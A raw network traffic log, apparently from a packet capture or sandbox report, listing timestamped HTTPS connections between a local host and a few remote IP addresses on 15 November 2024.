Nov 15, 2024 19:39:25.291222095 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.291295052 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.291441917 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.291448116 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.350712061 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.351332903 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.351340055 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.351725101 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.351728916 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.363689899 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.364262104 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.364289999 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.364763975 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.364769936 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.372603893 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.373087883 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.373102903 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.373554945 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.373564959 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.433738947 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.434339046 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.434357882 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.435025930 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.435033083 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.479758978 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.479813099 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.479935884 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.480151892 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.480159044 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.480175018 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.480180025 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.483505964 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.483596087 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.483740091 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.483906031 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.483942032 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.491646051 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.491750002 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.491810083 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.492017031 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.492017031 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.492024899 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.492033005 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.494735003 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.494786024 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.494854927 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.494987011 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.495002985 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.510324955 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.510541916 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.510663033 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.510663033 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.510690928 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.510698080 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.513472080 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.513531923 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.513633013 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.513775110 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.513803005 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.564574957 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.564826012 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.564920902 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.565150976 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.565181971 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.565196991 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.565203905 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.568315029 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.568368912 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.568469048 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.568619967 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.568635941 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.805082083 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.805180073 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.805254936 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.805459023 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.805479050 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:26.029913902 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.030555010 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.030570984 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.031095028 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.031100988 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.052088022 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:26.052602053 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:26.054218054 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:26.054223061 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:26.054616928 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:26.097732067 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:26.159569979 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.159746885 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.159801960 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.159904003 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.159925938 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.159940958 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.159948111 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.163564920 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.163666964 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.163759947 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.164050102 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.164086103 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.220329046 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.221012115 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.221055984 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.221599102 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.221611977 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.232764006 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.233792067 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.233812094 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.234445095 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.234451056 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.245410919 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.255011082 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.255091906 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.255486965 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.255501986 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.322422028 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.340049028 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.340075970 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.340544939 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.340553999 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.352786064 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.352998972 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.353063107 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.353172064 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.353193998 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.353207111 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.353214025 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.356549025 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.356625080 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.356725931 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.356894970 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.356929064 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.366059065 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.366347075 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.366400957 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.366450071 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.366463900 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.366477013 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.366482019 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.369162083 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.369251966 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.369343996 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.369483948 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.369519949 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.381974936 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.382061958 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.382112980 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.382184029 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.382195950 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.382205963 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.382210970 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.384371042 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.384392023 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.384454012 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.384607077 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.384614944 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.386957884 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:26.386984110 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:26.387061119 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:26.387351036 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:26.387365103 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:26.467844009 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.468039036 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.468094110 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.468233109 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.468245029 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.468257904 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.468262911 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.471971035 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.472006083 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.472120047 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.472263098 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.472266912 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.905427933 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.906105995 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.906196117 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.906508923 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:26.906526089 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:26.991085052 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.031341076 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.040805101 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.040889978 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.042218924 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.042229891 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.042433023 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.073894978 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.074654102 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.074739933 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.074904919 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.074955940 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.074990034 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.075006962 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.078016043 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.078063011 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.078377008 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.078583002 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.078598022 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.086833954 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.087680101 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.087713003 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.087868929 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.087909937 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.088089943 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.088150978 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.088301897 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.088337898 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.088521957 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.088555098 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.088934898 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.088969946 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.088988066 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.088994980 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.089112043 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.089138031 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.089154959 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.089283943 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.089309931 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.098202944 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.098377943 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.098413944 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.098434925 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.098458052 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.098524094 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:27.101190090 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.101552963 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:27.101694107 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.101717949 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.102252007 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.102257013 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.104671955 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.105016947 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.105046034 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.105443954 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.105454922 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.221201897 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.222076893 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.222101927 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.222621918 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.222640038 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.234307051 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.234507084 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.234574080 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.234669924 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.234692097 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.234705925 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.234710932 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.237854004 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.237894058 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.238053083 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.238224030 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.238240004 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.238768101 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.239146948 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.239244938 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.239348888 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.239350080 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.239392996 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.239423037 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.241427898 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.241461039 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.241647959 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.241810083 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.241823912 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.353214025 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.353305101 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.353364944 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.353676081 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.353676081 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.353698015 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.353708982 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.356895924 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.356929064 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.356997013 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.357144117 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.357157946 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.451519012 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451581001 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451601028 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451638937 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451713085 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.451713085 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.451730013 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451744080 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.451781034 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.451811075 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.452265978 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.452413082 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.452421904 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.452524900 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:27.452639103 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:27.472920895 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.473592997 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.473607063 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.474353075 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.474359035 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.603033066 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.603620052 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.603692055 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.603801966 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.603801966 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.603820086 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.603831053 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.607346058 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.607373953 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.607484102 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.607774019 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.607779980 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.831531048 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.832173109 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.832184076 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.832715034 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.832719088 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.964653015 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.964833021 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.964978933 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.965286016 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.965291977 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.965301991 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.965306997 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.968460083 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.968502998 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.968647003 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.968818903 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.968835115 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.975735903 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.986177921 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.986191034 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:27.988240957 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:27.988246918 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.010057926 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.010869980 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.010879993 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.011358976 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.011363983 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.115143061 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.115230083 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.115518093 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.115518093 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.115750074 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.115760088 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.118783951 CET	49779	443	192.168.2.7	13.107.246.45
